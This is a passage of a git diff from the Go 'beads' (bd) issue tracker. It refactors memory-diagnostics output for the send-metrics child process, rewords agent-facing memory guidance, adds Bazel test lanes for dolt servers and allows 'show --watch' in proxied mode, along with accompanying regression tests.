shouldAutoPruneEventsJournal(cmd) { maybeAutoPruneEventsJournal(rootCtx, beads.FindBeadsDir()) } + // Auto-backup, through the provider this command opened. Same + // gate as the direct arm's maintenance net below (strict + // --readonly, `bd serve` and a migration freeze all skip it), + // plus previews: a --dry-run must not register a backup remote + // or write backup state. proxiedAutoBackupBackend decides the + // topology, so this stays inert off managed-local. + if runsPostCommandMaintenance(cmd.Name(), readonlyMode) && !isPreviewCommand(cmd) && !commandFreeze.Frozen() { + runPostRunAutoBackup(rootCtx) + } if uowProvider != nil { _ = uowProvider.Close(rootCtx) uowProvider = nil @@ -2223,31 +2237,9 @@ var rootCmd = &cobra.Command{ _ = traceFile.Close() // Best effort cleanup } - // Heap profiling: --mem-profile flag or BEADS_MEM_PROFILE env var. - // Runs a GC first by default; BEADS_MEM_PROFILE_NOGC=1 skips it to capture peak. - heapDest := memProfilePath - if heapDest == "" { - heapDest = os.Getenv("BEADS_MEM_PROFILE") - } - if heapDest != "" { - if os.Getenv("BEADS_MEM_PROFILE_NOGC") == "" { - runtime.GC() - } - if f, err := os.Create(heapDest); err == nil { // #nosec G304 -- user-supplied profiling path - _ = pprof.WriteHeapProfile(f) - _ = f.Close() - } - } - // Optional one-line MemStats summary: BEADS_MEM_STATS=/path/to/stats.txt - if statsDest := os.Getenv("BEADS_MEM_STATS"); statsDest != "" { - var ms runtime.MemStats - runtime.ReadMemStats(&ms) - if f, err := os.Create(statsDest); err == nil { // #nosec G304 -- user-supplied profiling path - fmt.Fprintf(f, "HeapAlloc=%d HeapSys=%d HeapInuse=%d HeapObjects=%d\n", - ms.HeapAlloc, ms.HeapSys, ms.HeapInuse, ms.HeapObjects) - _ = f.Close() - } - } + // Heap profiling / MemStats summary: --mem-profile flag or + // BEADS_MEM_PROFILE / BEADS_MEM_STATS env vars. See writeMemDiagnostics. + writeMemDiagnostics(memProfilePath) // The signal context is canceled and cleared by the deferred hook // registered at the top of this function, so that it also covers the @@ -2256,6 +2248,69 @@ var rootCmd = &cobra.Command{ }, } +// flusherDiagnosticsSuffix separates the detached send-metrics child's memory +// diagnostics from the parent command's. See memDiagnosticsDest. +const flusherDiagnosticsSuffix = ".send-metrics" + +// memDiagnosticsDest returns the destination writeMemDiagnostics should write +// dest to, suffixed when this process is the detached flusher child. +// +// MaybeSpawnFlusher hands the child the parent's environment minus the endpoint +// (flusherChildEnv in internal/metrics/spawn.go), so BEADS_MEM_PROFILE and +// BEADS_MEM_STATS arrive holding the same absolute paths the parent resolved. +// The spawn happens on main()'s post-ExecuteC tail, i.e. after +// PersistentPostRunE already wrote them, so an unsuffixed child would silently +// replace the profile of the command the user actually asked about with a +// profile of the trivial flusher -- no error, no size anomaly. Error exits are +// worse: CheckReadonly and the pre-run gates call CloseAndFlush while +// PersistentPostRunE never runs, leaving the child's file as the only one. +// +// BD_IS_FLUSHER=1 is set only by flusherChildEnv, so a human running +// `bd send-metrics` directly still gets the plain path. The suffix is applied +// to the resolved destination, after the flag/env fallback, so both knobs and +// both sources follow one rule. +func memDiagnosticsDest(dest string) string { + if dest == "" || os.Getenv(metrics.EnvIsFlusher) != "1" { + return dest + } + return dest + flusherDiagnosticsSuffix +} + +// writeMemDiagnostics honors the heap-profile and MemStats diagnostic knobs +// (--mem-profile / BEADS_MEM_PROFILE / BEADS_MEM_PROFILE_NOGC / BEADS_MEM_STATS). +// memProfileFlag is the --mem-profile flag value, which wins over +// BEADS_MEM_PROFILE. Both call sites pass memProfilePath: --mem-profile is +// registered on rootCmd.PersistentFlags(), so every subcommand inherits it, +// including the hidden send-metrics one -- which calls this directly because its +// Run exits before Cobra ever reaches PersistentPostRunE below. +func writeMemDiagnostics(memProfileFlag string) { + // Runs a GC first by default; BEADS_MEM_PROFILE_NOGC=1 skips it to capture peak. + heapDest := memProfileFlag + if heapDest == "" { + heapDest = os.Getenv("BEADS_MEM_PROFILE") + } + heapDest = memDiagnosticsDest(heapDest) + if heapDest != "" { + if os.Getenv("BEADS_MEM_PROFILE_NOGC") == "" { + runtime.GC() + } + if f, err := os.Create(heapDest); err == nil { // #nosec G304 -- user-supplied profiling path + _ = pprof.WriteHeapProfile(f) + _ = f.Close() + } + } + // Optional one-line MemStats summary: BEADS_MEM_STATS=/path/to/stats.txt + if statsDest := memDiagnosticsDest(os.Getenv("BEADS_MEM_STATS")); statsDest != "" { + var ms runtime.MemStats + runtime.ReadMemStats(&ms) + if f, err := os.Create(statsDest); err == nil { // #nosec G304 -- user-supplied profiling path + fmt.Fprintf(f, "HeapAlloc=%d HeapSys=%d HeapInuse=%d HeapObjects=%d\n", + ms.HeapAlloc, ms.HeapSys, ms.HeapInuse, ms.HeapObjects) + _ = f.Close() + } + } +} + func shouldRunPostCommandAutoExport(cmd *cobra.Command) bool { if cmd == nil { return true diff --git a/cmd/bd/prime.go b/cmd/bd/prime.go index 0e7c45516..bccb85bd9 100644 --- a/cmd/bd/prime.go +++ b/cmd/bd/prime.go @@ -782,7 +782,7 @@ func outputMCPContext(w io.Writer, stealthMode bool) error { - **Default**: Use beads for ALL task tracking (` + "`bd create`" + `, ` + "`bd ready`" + `, ` + "`bd close`" + `) - **Prohibited**: Do NOT use TodoWrite, TaskCreate, or markdown files for task tracking - **Workflow**: Create beads issue BEFORE writing code, mark in_progress when starting -- **Memory**: Use ` + "`bd remember`" + ` for persistent knowledge. Do NOT use MEMORY.md files. +- **Memory**: Use ` + "`bd remember`" + ` for durable project facts, not per-tool memory files. Per-operator preferences belong in your harness's own memory. - Persistence you don't need beats lost context - ` + profileRule + ` @@ -976,7 +976,7 @@ git status # Check changed files - **Default**: Use beads for ALL task tracking (` + "`bd create`" + `, ` + "`bd ready`" + `, ` + "`bd close`" + `) - **Prohibited**: Do NOT use TodoWrite, TaskCreate, or markdown files for task tracking - **Workflow**: Create beads issue BEFORE writing code, mark in_progress when starting -- **Memory**: Use ` + "`bd remember \"insight\"`" + ` for persistent knowledge across sessions. Do NOT use MEMORY.md files — they fragment across accounts. Search with ` + "`bd memories `" + `. +- **Memory**: Use ` + "`bd remember \"insight\"`" + ` for durable **project** facts — keep them here rather than in per-tool memory files, which fragment across accounts and are often capped. Per-operator preferences and agent-specific corrections belong in your harness's own memory; they aren't project knowledge, so keep them out of beads. Search with ` + "`bd memories `" + `. - Persistence you don't need beats lost context - ` + profileRule + ` - ` + gitWorkflowRule + ` diff --git a/cmd/bd/prime_test.go b/cmd/bd/prime_test.go index 8c9a33086..34a07defa 100644 --- a/cmd/bd/prime_test.go +++ b/cmd/bd/prime_test.go @@ -397,6 +397,44 @@ func TestPrimeClaimGuidanceUsesAtomicClaim(t *testing.T) { } } +// TestPrimeMemoryGuidanceDoesNotProhibitHarnessMemory guards GH#6111: both +// renderings used to emit "Do NOT use MEMORY.md files", which contradicts +// harnesses that ship a first-party memory whose index file has exactly that +// name. The guidance now names the store each content class belongs in, so +// neither rendering may name the file again. The assertion is negative on the +// old prohibition rather than positive on the new prose, so it survives any +// future rewording; the bd remember check keeps it from passing vacuously if +// the memory bullet is dropped altogether. +func TestPrimeMemoryGuidanceDoesNotProhibitHarnessMemory(t *testing.T) { + defer stubPrimeStoreUnavailable()() + defer stubIsEphemeralBranch(false)() + defer stubPrimeHasGitRemote(true)() + defer stubPrimeAgentProfile(config.ProfileConservative)() + + for _, tc := range []struct { + name string + mcpMode bool + }{ + {name: "CLI", mcpMode: false}, + {name: "MCP", mcpMode: true}, + } { + t.Run(tc.name, func(t *testing.T) { + var buf bytes.Buffer + if err := outputPrimeContext(&buf, tc.mcpMode, false); err != nil { + t.Fatalf("outputPrimeContext failed: %v", err) + } + + output := buf.String() + if !strings.Contains(output, "bd remember") { + t.Fatalf("prime output should still teach bd remember; output:\n%s", output) + } + if strings.Contains(output, "MEMORY.md") { + t.Errorf("prime output should not name MEMORY.md; output:\n%s", output) + } + }) + } +} + func TestPrimeStartsWithTruncationDirective(t *testing.T) { defer stubPrimeStoreUnavailable()() defer stubIsEphemeralBranch(false)() diff --git a/cmd/bd/protocol/BUILD.bazel b/cmd/bd/protocol/BUILD.bazel index af19356a0..d88b1110a 100644 --- a/cmd/bd/protocol/BUILD.bazel +++ b/cmd/bd/protocol/BUILD.bazel @@ -1,5 +1,6 @@ load("@rules_go//go:def.bzl", "go_library", "go_test") load("@rules_shell//shell:sh_test.bzl", "sh_test") +load("//tools/bazel:race.bzl", "go_test_race_off") go_library( name = "protocol", @@ -51,11 +52,32 @@ go_test( ], ) -# protocol_test as pr.yml's "Contract corpus" job runs it: TestMain starts a -# dolt sql-server container and BEADS_PROTOCOL_REQUIRE_DOLT=1 turns a missing -# container into a failure instead of a skip. It repeats protocol_test's `env` -# (go_test_variant.sh cannot inherit it). protocol_test itself stays untagged: -# under --config=prcore (BEADS_TEST_SKIP=dolt) its Dolt-backed tests skip. +# protocol_test without the race detector, which --config=docker otherwise +# turns on for every target: pr.yml's "Contract corpus" job runs +# `go test ./cmd/bd/protocol` without -race (PR Core covers the race build). +# Matching it is cheap: tools/bazel/race.bzl lands protocol_test's deps in +# the configuration the non-race //cmd/bd:bd_for_tests already builds them in, +# so the extra work is protocol_test's test-only libraries and one link. +# Racing it instead would also be acceptable (a race-only failure is a real +# bug); then drop this target and point protocol_docker_test back at +# :protocol_test. +# +# Tags: +# manual: only protocol_docker_test's input, never a build target of its +# own. `bazel test //...` in every lane still builds it through +# protocol_docker_test (a test tag filter does not stop the build). +go_test_race_off( + name = "protocol_race_off", + tags = ["manual"], + test = ":protocol_test", +) + +# protocol_test as pr.yml's "Contract corpus" job runs it: non-race, TestMain +# starts a dolt sql-server container and BEADS_PROTOCOL_REQUIRE_DOLT=1 turns a +# missing container into a failure instead of a skip. It repeats +# protocol_test's `env` (go_test_variant.sh cannot inherit it). protocol_test +# itself stays untagged: under --config=prcore (BEADS_TEST_SKIP=dolt) its +# Dolt-backed tests skip. # # Tags: # requires-docker: needs a docker daemon; excluded from --config=prcore/ci, @@ -65,14 +87,17 @@ sh_test( name = "protocol_docker_test", size = "large", srcs = ["//tools/bazel:go_test_variant.sh"], - args = ["$(rootpath :protocol_test)"], + args = ["$(rootpath :protocol_race_off)"], data = [ - ":protocol_test", + ":protocol_race_off", "//cmd/bd:bd_for_tests", ], + # Pinned to the container backend (the docker lane is the A/B control); + # rule env beats --test_env, so =local on the command line cannot flip it. env = { "BEADS_PROTOCOL_REQUIRE_DOLT": "1", "BEADS_TEST_BD_BINARY": "$(rlocationpath //cmd/bd:bd_for_tests)", + "BEADS_TEST_DOLT_SERVER": "container", }, # ~10 min unsharded without -race in pr.yml. shard_count = 8, @@ -81,3 +106,36 @@ sh_test( "requires-docker", ], ) + +# protocol_test as pr.yml's "Contract corpus" job runs it (non-race, like the +# job; see protocol_race_off), on the dolt-server lane: TestMain's server is a +# local `dolt sql-server` child of the test process, and +# BEADS_PROTOCOL_REQUIRE_DOLT=1 turns a server that cannot start into a +# failure, so the golden and double-run determinism tests cannot skip. It +# repeats protocol_test's `env`. protocol_docker_test is the A/B control. +# +# Tags: +# dolt-server: starts hermetic dolt sql-servers from the pinned dolt in the +# test wrapper's runfiles (BEADS_TEST_DOLT_SERVER=local); excluded from +# --config=prcore/ci, selected by --config=doltserver. Runs remotely: no +# docker, and a missing server fails (REQUIRE=1) instead of skipping, so +# a cached pass is as good as a fresh one. +sh_test( + name = "protocol_dolt_test", + size = "large", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = ["$(rootpath :protocol_race_off)"], + data = [ + ":protocol_race_off", + "//cmd/bd:bd_for_tests", + ], + env = { + "BEADS_PROTOCOL_REQUIRE_DOLT": "1", + "BEADS_TEST_BD_BINARY": "$(rlocationpath //cmd/bd:bd_for_tests)", + "BEADS_TEST_DOLT_SERVER": "local", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", + "GOMAXPROCS": "4", + }, + shard_count = 8, + tags = ["dolt-server"], +) diff --git a/cmd/bd/protocol/helpers_test.go b/cmd/bd/protocol/helpers_test.go index 1f254ce4d..ba0cc3fa5 100644 --- a/cmd/bd/protocol/helpers_test.go +++ b/cmd/bd/protocol/helpers_test.go @@ -53,7 +53,9 @@ func testMainInner(m *testing.M) int { // AD-01 (be-c5p): allow protocol tests to connect to the spawned test server. os.Setenv("BEADS_TEST_SERVER", "1") if err := testutil.EnsureDoltContainerForTestMain(); err != nil { - fmt.Fprintf(os.Stderr, "WARN: %v, skipping Dolt tests\n", err) + if testutil.DoltUnavailableForTestMain(err) { + return 1 + } } else { defer testutil.TerminateDoltContainer() testDoltPort = testutil.DoltContainerPortInt() diff --git a/cmd/bd/proxied_local_backend_exit_test.go b/cmd/bd/proxied_local_backend_exit_test.go new file mode 100644 index 000000000..f4b5e336d --- /dev/null +++ b/cmd/bd/proxied_local_backend_exit_test.go @@ -0,0 +1,71 @@ +//go:build cgo && unix + +package main + +import ( + "encoding/json" + "strings" + "syscall" + "testing" + "time" +) + +// backendCleanExitRetireTimeout bounds how long the proxy may outlive a dolt +// backend that shut down gracefully. dolt's own SIGTERM shutdown dominates it; +// the proxy's health watcher polls every 100ms. +const backendCleanExitRetireTimeout = 30 * time.Second + +// TestManagedLocalProxiedBackendCleanExitRetiresProxy extends the child-death +// contract (see TestManagedLocalProxiedOutageReconnectContract, which kills +// the backend) to a backend that exits CLEANLY: SIGTERM makes dolt shut down +// gracefully with status 0. The proxy must retire just as it does for a +// crash, so the next bd command starts a fresh proxy/backend pair and `bd +// ping` answers from a live store. +// +// Before the fix the proxy only noticed non-zero exits. With idle timeout 0 +// (never idle out) it stayed up and adoptable in front of a dead backend +// indefinitely: `bd dolt status` said "running", and every command, `bd ping` +// included, failed until an operator ran `bd dolt stop`. +func TestManagedLocalProxiedBackendCleanExitRetiresProxy(t *testing.T) { + requireManagedLocalProxiedEnv(t) + bd := buildEmbeddedBD(t) + p := bdProxiedInit(t, bd, "clean_exit", "--proxied-server-idle-timeout", "0") + sentinel := bdProxiedCreate(t, bd, p.dir, "clean exit sentinel") + + proxyBefore := readManagedProxyPidFile(t, p) + if proxyBefore == nil || !processAlive(proxyBefore.Pid) { + t.Fatalf("managed-local proxy is not running: %+v", proxyBefore) + } + backendBefore := readManagedBackendPidFile(t, p) + if backendBefore == nil || !processAlive(backendBefore.Pid) { + t.Fatalf("managed-local backend is not running: %+v", backendBefore) + } + + if err := syscall.Kill(backendBefore.Pid, syscall.SIGTERM); err != nil { + t.Fatalf("SIGTERM dolt backend pid %d: %v", backendBefore.Pid, err) + } + waitForManagedProxiedShutdown(t, p, proxyBefore.Pid, backendBefore.Pid, backendCleanExitRetireTimeout) + + out, err := bdProxiedRun(t, bd, p.dir, "ping", "--json") + if err != nil { + t.Fatalf("bd ping after the backend exited: %v\n%s", err, out) + } + var ping struct { + Status string `json:"status"` + } + if err := json.Unmarshal([]byte(strings.TrimSpace(string(out))), &ping); err != nil || ping.Status != "ok" { + t.Fatalf("bd ping --json: status=%q err=%v\n%s", ping.Status, err, out) + } + if got := bdProxiedShow(t, bd, p.dir, sentinel.ID); got.Title != "clean exit sentinel" { + t.Fatalf("sentinel after restart: %+v", got) + } + + proxyAfter := readManagedProxyPidFile(t, p) + backendAfter := readManagedBackendPidFile(t, p) + if proxyAfter == nil || proxyAfter.Pid == proxyBefore.Pid || !processAlive(proxyAfter.Pid) { + t.Fatalf("expected a fresh live proxy: before=%+v after=%+v", proxyBefore, proxyAfter) + } + if backendAfter == nil || backendAfter.Pid == backendBefore.Pid || !processAlive(backendAfter.Pid) { + t.Fatalf("expected a fresh live backend: before=%+v after=%+v", backendBefore, backendAfter) + } +} diff --git a/cmd/bd/proxied_shared_harness_test.go b/cmd/bd/proxied_shared_harness_test.go index eeb23a0d9..cbaf3c5dd 100644 --- a/cmd/bd/proxied_shared_harness_test.go +++ b/cmd/bd/proxied_shared_harness_test.go @@ -35,6 +35,9 @@ func sharedProxiedServerPort(t *testing.T) int { sharedProxiedPort = port }) if sharedProxiedErr != nil { + if os.Getenv(testutil.EnvRequireDoltContainer) == "1" { + t.Fatalf("shared proxied-server unavailable: %v, but %s=1; this lane must not skip", sharedProxiedErr, testutil.EnvRequireDoltContainer) + } t.Skipf("shared proxied-server unavailable: %v", sharedProxiedErr) } return sharedProxiedPort diff --git a/cmd/bd/proxy_capability.go b/cmd/bd/proxy_capability.go index d4f8a517d..34bdb6a00 100644 --- a/cmd/bd/proxy_capability.go +++ b/cmd/bd/proxy_capability.go @@ -167,8 +167,10 @@ var ( // is threading it through the UOW reader the way `list` already does, so // the refusal itself is the gap. maxRowsRefusal = refused("proxy.max_rows.unsupported", "--max-rows / BEADS_MAX_ROWS is not supported in proxied-server mode", ProxyReasonUnimplemented, trackLongTail) - // `list --watch` is routed, so watching is possible over the provider; - // nothing else has been wired to it. + // The mode-wide default for a --watch that has not been wired to the + // provider. Both commands that register the flag (`list`, `show`) poll the + // provider and are honored per-command below, so this refuses only a + // future --watch until someone routes it. watchRefusal = refused("proxy.watch.unsupported", "watch mode not supported in proxied-server mode", ProxyReasonUnimplemented, trackLongTail) // --repo routes to another workspace, bypassing the proxied root entirely, // which is why it is design rather than a gap. `bd create` is the only @@ -219,7 +221,7 @@ var proxyCapabilityMatrix = map[ProxyMode]map[ProxyCapability]proxyCapabilityRul // command line can reach. TestProxyCapabilityRowsNameFlagsTheCommandRegisters // enforces both directions of that rule. var proxyCommandCapabilities = map[string]map[ProxyMode]map[ProxyCapability]proxyCapabilityRule{ - "show": {ProxyModeProxied: {ProxyCapWatch: watchRefusal}}, + "show": {ProxyModeProxied: {ProxyCapWatch: honored()}}, "list": {ProxyModeProxied: {ProxyCapWatch: honored(), ProxyCapMaxRows: honored(), ProxyCapRepo: notApplicable()}}, "dep tree": {ProxyModeProxied: {ProxyCapMaxRows: honored()}}, "ready": {ProxyModeProxied: {ProxyCapMaxRows: maxRowsRefusal}}, @@ -348,11 +350,6 @@ func validateProxyCapabilitiesBeforeProvider(cmd *cobra.Command) error { if path == "create" && cmd.Flags().Changed("repo") { return HandleProxyCapabilityError(AssertProxyCapability(ProxyModeProxied, ProxyCapRepo)) } - if path == "show" { - if watch, _ := cmd.Flags().GetBool("watch"); watch { - return HandleProxyCapabilityError(AssertProxyCommandCapability(path, ProxyModeProxied, ProxyCapWatch)) - } - } if path == "ready" && !readyGatedArm(cmd) { // --claim is NOT exempt. The proxied ready role cannot enforce a row // cap on either arm, and ready.go refuses a positive cap on both (see diff --git a/cmd/bd/proxy_capability_test.go b/cmd/bd/proxy_capability_test.go index e3c94d368..4bf83a8e3 100644 --- a/cmd/bd/proxy_capability_test.go +++ b/cmd/bd/proxy_capability_test.go @@ -470,7 +470,7 @@ func TestProxyCapabilityCommandRows(t *testing.T) { {"ready", "--max-rows", ProxyOutcomeRefused}, {"graph", "--max-rows", ProxyOutcomeRefused}, {"find-duplicates", "--max-rows", ProxyOutcomeRefused}, - {"show", "--watch", ProxyOutcomeRefused}, + {"show", "--watch", ProxyOutcomeHonored}, {"list", "--watch", ProxyOutcomeHonored}, } for _, topology := range []ProxyTopology{ProxyTopologyManagedLocal, ProxyTopologyExternalTCP, ProxyTopologyExternalUnix} { @@ -634,21 +634,21 @@ func TestProxyMaintenanceRefusalLeavesFilesUntouched(t *testing.T) { } } -// newWatchShowCommand builds `bd show --watch`. The root matters: the front -// door keys on a command's path below its root, so a parentless command has no -// path and matches no rule — which is how a test tree can report success for a -// refusal that never fired. -func newWatchShowCommand(t *testing.T) *cobra.Command { +// newProxyFrontDoorCommand builds `bd --` under a real root. The +// root matters: the front door keys on a command's path below its root, so a +// parentless command has no path and matches no rule — which is how a test +// tree can report success for a refusal that never fired. +func newProxyFrontDoorCommand(t *testing.T, use, flag string) *cobra.Command { t.Helper() root := &cobra.Command{Use: "bd"} - cmd := &cobra.Command{Use: "show"} - cmd.Flags().Bool("watch", false, "") + cmd := &cobra.Command{Use: use} + cmd.Flags().Bool(flag, false, "") root.AddCommand(cmd) - if err := cmd.Flags().Set("watch", "true"); err != nil { + if err := cmd.Flags().Set(flag, "true"); err != nil { t.Fatal(err) } - if got := commandRegistryPath(cmd); got != "show" { - t.Fatalf("test command path = %q, want %q", got, "show") + if got := commandRegistryPath(cmd); got != use { + t.Fatalf("test command path = %q, want %q", got, use) } return cmd } @@ -657,9 +657,9 @@ func TestProxyCapabilityRefusalFrontDoorTextBeforeProvider(t *testing.T) { oldJSON := jsonOutput jsonOutput = false t.Cleanup(func() { jsonOutput = oldJSON }) - cmd := newWatchShowCommand(t) + cmd := newProxyFrontDoorCommand(t, "create", "repo") got := captureStderr(t, func() { _ = validateProxyCapabilitiesBeforeProvider(cmd) }) - if !strings.Contains(got, "watch mode not supported in proxied-server mode") { + if !strings.Contains(got, "--repo is not supported with --proxied-server") { t.Fatalf("text refusal = %q", got) } } @@ -668,16 +668,37 @@ func TestProxyCapabilityRefusalFrontDoorJSONIncludesCode(t *testing.T) { oldJSON := jsonOutput jsonOutput = true t.Cleanup(func() { jsonOutput = oldJSON }) - cmd := newWatchShowCommand(t) + cmd := newProxyFrontDoorCommand(t, "create", "repo") out := captureStdout(t, func() error { _ = validateProxyCapabilitiesBeforeProvider(cmd) return nil }) - if !strings.Contains(out, `"code": "proxy.watch.unsupported"`) { + if !strings.Contains(out, `"code": "proxy.repo.unsupported"`) { t.Fatalf("JSON refusal = %q", out) } } +// TestProxyFrontDoorAdmitsShowWatch pins that `bd show --watch` reaches the +// proxied provider. It used to be refused here with proxy.watch.unsupported, +// although the provider can answer the poll exactly as `list --watch` does. +func TestProxyFrontDoorAdmitsShowWatch(t *testing.T) { + oldJSON := jsonOutput + jsonOutput = true + t.Cleanup(func() { jsonOutput = oldJSON }) + cmd := newProxyFrontDoorCommand(t, "show", "watch") + var err error + out := captureStdout(t, func() error { + err = validateProxyCapabilitiesBeforeProvider(cmd) + return nil + }) + if err != nil || strings.Contains(out, "proxy.watch.unsupported") { + t.Fatalf("front door refused show --watch: err=%v out=%q", err, out) + } + if err := AssertProxyCommandCapability("show", ProxyModeProxied, ProxyCapWatch); err != nil { + t.Fatalf("show --watch capability refused: %v", err) + } +} + func TestProxyCapabilityDirectEscapeHatch(t *testing.T) { for _, cap := range []ProxyCapability{ProxyCapReadonly, ProxyCapMaxRows, ProxyCapWatch, ProxyCapRepo} { if err := AssertProxyCapability(ProxyModeDirect, cap); err != nil { diff --git a/cmd/bd/send_metrics.go b/cmd/bd/send_metrics.go index 1db9b5675..e84d49c4a 100644 --- a/cmd/bd/send_metrics.go +++ b/cmd/bd/send_metrics.go @@ -18,7 +18,17 @@ var sendMetricsCmd = &cobra.Command{ // send-metrics. MaybeSpawnFlusher also refuses to spawn when EnvIsFlusher // is set on this process, so the no-recursion guarantee is structural and // not solely dependent on this exit. - os.Exit(metrics.RunSendMetrics()) + // + // That same early exit means this Run returns before Cobra ever reaches + // PersistentPostRunE in main.go, so --mem-profile/BEADS_MEM_PROFILE/ + // BEADS_MEM_STATS are silently inert for this subcommand unless honored + // here directly (be-wwy2.2). --mem-profile is registered on + // rootCmd.PersistentFlags(), so this hidden command inherits it and + // prints it in --help; pass memProfilePath exactly as PersistentPostRunE + // does, or the advertised flag would be parsed and then discarded. + code := metrics.RunSendMetrics() + writeMemDiagnostics(memProfilePath) + os.Exit(code) }, } diff --git a/cmd/bd/send_metrics_diagnostics_test.go b/cmd/bd/send_metrics_diagnostics_test.go new file mode 100644 index 000000000..78f29dbfa --- /dev/null +++ b/cmd/bd/send_metrics_diagnostics_test.go @@ -0,0 +1,215 @@ +package main + +import ( + "compress/gzip" + "io" + "os" + "os/exec" + "path/filepath" + "regexp" + "testing" + + "github.com/steveyegge/beads/internal/metrics" +) + +// memStatsLine is the exact shape writeMemDiagnostics' MemStats summary writes. +var memStatsLine = regexp.MustCompile(`^HeapAlloc=\d+ HeapSys=\d+ HeapInuse=\d+ HeapObjects=\d+\n$`) + +// requireHeapProfile fails unless path holds a real heap profile. +// runtime/pprof.WriteHeapProfile always gzips its protobuf output, so +// decompressing cleanly to a non-empty body is strong evidence a genuine profile +// was written -- without pulling in a pprof-parsing dependency just for this +// test. knob names the surface under test so a failure says which one broke. +func requireHeapProfile(t *testing.T, knob, path string) { + t.Helper() + f, err := os.Open(path) + if err != nil { + t.Fatalf("%s file was not written: %v", knob, err) + } + defer f.Close() + gz, err := gzip.NewReader(f) + if err != nil { + t.Fatalf("%s is not valid gzip: %v", knob, err) + } + body, err := io.ReadAll(gz) + if err != nil { + t.Fatalf("%s gzip stream corrupt: %v", knob, err) + } + if len(body) == 0 { + t.Fatalf("%s decompressed to 0 bytes, want a real heap profile", knob) + } +} + +// TestSendMetricsHonorsMemDiagnostics is the be-wwy2.2 regression: send-metrics's +// Run calls os.Exit() directly, so it returns before Cobra ever reaches +// PersistentPostRunE (main.go) -- the one place --mem-profile / BEADS_MEM_PROFILE / +// BEADS_MEM_PROFILE_NOGC / BEADS_MEM_STATS are honored for every other bd +// subcommand. That makes the diagnostic tooling unreachable for the one child +// process that runs on the tail of nearly every bd invocation fleet-wide. +// +// This builds a real bd binary and exercises `bd send-metrics` as a subprocess +// (like MaybeSpawnFlusher does in production) rather than calling RunSendMetrics +// in-process, because the bug is specifically about the Cobra command-tree +// wiring around this subcommand, which only an actual subprocess run exercises. +func TestSendMetricsHonorsMemDiagnostics(t *testing.T) { + bdBin := buildBDForInitTests(t) + + // send-metrics returns from PersistentPreRunE before any workspace/store + // setup (main.go: `if cmd.Name() == metrics.SendMetricsSubcommand { return nil }`), + // so no .beads workspace is needed here. BD_DISABLE_METRICS=1 makes + // RunSendMetrics's Enabled() check false, so it returns 0 right after a + // no-op prune of the (nonexistent) queue dir -- deterministic and offline, + // with no real network attempt. + baseEnv := func(home string) []string { + return []string{ + "HOME=" + home, + "PATH=" + os.Getenv("PATH"), + "BD_DISABLE_METRICS=1", + } + } + + t.Run("default with no diagnostics env vars is unaffected", func(t *testing.T) { + cmd := exec.Command(bdBin, metrics.SendMetricsSubcommand) + cmd.Env = baseEnv(t.TempDir()) + out, err := cmd.CombinedOutput() + if err != nil { + t.Fatalf("bd send-metrics: %v\noutput: %s", err, out) + } + if len(out) != 0 { + t.Fatalf("bd send-metrics produced output with no diagnostics requested: %q", out) + } + }) + + t.Run("BEADS_MEM_STATS writes a one-line MemStats summary", func(t *testing.T) { + statsPath := filepath.Join(t.TempDir(), "stats.txt") + cmd := exec.Command(bdBin, metrics.SendMetricsSubcommand) + cmd.Env = append(baseEnv(t.TempDir()), "BEADS_MEM_STATS="+statsPath) + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("bd send-metrics: %v\noutput: %s", err, out) + } + data, err := os.ReadFile(statsPath) + if err != nil { + t.Fatalf("BEADS_MEM_STATS file was not written: %v", err) + } + if !memStatsLine.Match(data) { + t.Fatalf("BEADS_MEM_STATS content = %q, want match of %s", data, memStatsLine) + } + }) + + t.Run("BEADS_MEM_PROFILE writes a valid gzipped heap profile", func(t *testing.T) { + profilePath := filepath.Join(t.TempDir(), "heap.pprof") + cmd := exec.Command(bdBin, metrics.SendMetricsSubcommand) + cmd.Env = append(baseEnv(t.TempDir()), "BEADS_MEM_PROFILE="+profilePath) + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("bd send-metrics: %v\noutput: %s", err, out) + } + requireHeapProfile(t, "BEADS_MEM_PROFILE", profilePath) + }) + + // --mem-profile is registered on rootCmd.PersistentFlags() (main.go), so this + // hidden subcommand inherits it and advertises it in --help. The call site + // used to hardcode "", which parsed the flag and then discarded it -- the same + // "accepted but silently inert" state be-wwy2.2 exists to remove, one line + // below the fix. No BEADS_MEM_PROFILE here, so only the flag can produce the + // file. + t.Run("--mem-profile flag is honored, not just the env var", func(t *testing.T) { + profilePath := filepath.Join(t.TempDir(), "flag.pprof") + cmd := exec.Command(bdBin, metrics.SendMetricsSubcommand, "--mem-profile="+profilePath) + cmd.Env = baseEnv(t.TempDir()) + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("bd send-metrics --mem-profile: %v\noutput: %s", err, out) + } + requireHeapProfile(t, "--mem-profile", profilePath) + }) + + // The detached flusher child inherits the parent's BEADS_MEM_* paths verbatim + // (flusherChildEnv strips only the endpoint and the flusher marker), and + // MaybeSpawnFlusher runs on main()'s post-ExecuteC tail -- after + // PersistentPostRunE already wrote them. Without a distinct destination the + // child's trivial profile would silently replace the profile of the command + // the user actually asked about. BD_IS_FLUSHER=1 is what production sets on + // the child, so driving it here is the real shape, not a contrivance. + t.Run("flusher child writes beside the parent's files instead of over them", func(t *testing.T) { + dir := t.TempDir() + profilePath := filepath.Join(dir, "heap.pprof") + statsPath := filepath.Join(dir, "stats.txt") + + // Stand in for the parent command's own writeMemDiagnostics call, which + // has already happened by the time the flusher is spawned. + parentProfile := []byte("parent heap profile, must survive the spawn\n") + parentStats := []byte("parent memstats, must survive the spawn\n") + if err := os.WriteFile(profilePath, parentProfile, 0o600); err != nil { + t.Fatalf("seed parent profile: %v", err) + } + if err := os.WriteFile(statsPath, parentStats, 0o600); err != nil { + t.Fatalf("seed parent stats: %v", err) + } + + cmd := exec.Command(bdBin, metrics.SendMetricsSubcommand) + cmd.Env = append(baseEnv(t.TempDir()), + "BEADS_MEM_PROFILE="+profilePath, + "BEADS_MEM_STATS="+statsPath, + metrics.EnvIsFlusher+"=1", + ) + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("bd send-metrics as flusher child: %v\noutput: %s", err, out) + } + + // The parent's data is untouched, byte for byte. + if got, err := os.ReadFile(profilePath); err != nil { + t.Fatalf("parent profile disappeared: %v", err) + } else if string(got) != string(parentProfile) { + t.Fatalf("flusher child overwrote the parent's heap profile: got %q, want %q", got, parentProfile) + } + if got, err := os.ReadFile(statsPath); err != nil { + 